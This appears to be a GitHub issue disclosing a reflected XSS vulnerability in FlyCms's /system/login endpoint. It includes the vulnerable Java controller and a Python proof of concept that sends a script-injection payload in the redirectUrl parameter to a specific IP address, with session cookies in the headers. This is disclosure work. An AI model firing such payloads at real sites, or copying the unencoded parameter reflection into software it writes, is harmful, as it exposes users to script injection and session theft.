FlyCms icon indicating copy to clipboard operation
FlyCms copied to clipboard

XSS - /system/login

Open NinjaGPT opened this issue 1 month ago • 0 comments

Summary

In the latest version, the endpoint /system/login does not encode user-controllable parameters when outputting them on the current page, resulting in Reflected XSS. This allows attackers to launch XSS attacks against users.


Details

  • Taint SINK
// src/main/java/com/flycms/web/system/IndexAdminController.java#L45-L54
45:    @GetMapping({"/login"})
46:    public String adminLogin(@RequestParam(value = "redirectUrl",required = false) String redirectUrl, ModelMap modelMap) {
47:       if (this.getAdminUser() != null) {
48:          return "redirect:/system/index";
49:       } else {
50:          modelMap.addAttribute("redirectUrl", redirectUrl);
51:          return this.theme.getAdminTemplate("user/login");
52:       }
53:    }
54:
  • Taint SOURCE
// src/main/java/com/flycms/web/system/IndexAdminController.java#L45-L54
45:    @GetMapping({"/login"})
46:    public String adminLogin(@RequestParam(value = "redirectUrl",required = false) String redirectUrl, ModelMap modelMap) {
47:       if (this.getAdminUser() != null) {
48:          return "redirect:/system/index";
49:       } else {
50:          modelMap.addAttribute("redirectUrl", redirectUrl);
51:          return this.theme.getAdminTemplate("user/login");
52:       }
53:    }
54:

POC

import requests
from requests.sessions import Session
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        arg_names = (
            'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
            'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
        )
        local_variables = locals()
        local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
        
        local_variables['headers'] = local_variables.get('headers') or dict()
        local_variables['headers'].update({'sec-ch-ua': '"Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Linux"', 'upgrade-insecure-requests': '1', 'cookie': 'JSESSIONID=node0tkgiu6r21b401cgywf0h1p7rr19.node0; Hm_lvt_2f24154b3f87697d36a4e2a638b68aaa=1764060845; HMACCOUNT=FB72DC4D7D883C26; Hm_lpvt_2f24154b3f87697d36a4e2a638b68aaa=1764060924', 'pragma': 'no-cache', 'cache-control': 'no-cache', 'accept-encoding': 'gzip, deflate', 'origin': 'http://35.233.133.2:41653', 'referer': 'http://35.233.133.2:41653/reg?clickTimestamp=1764060902299', 'x-requested-with': 'XMLHttpRequest'})
        return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import requests
url = 'http://35.233.133.2:41653/system/login'
payload = '"><sCriPt>alert("zast-xss")</scrIpt>//'
params = {'redirectUrl': payload}
response = requests.get(url, params=params, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Text:', response.text)
# =================================== Poc End ====================================
Image

NinjaGPT avatar Dec 08 '25 07:12 NinjaGPT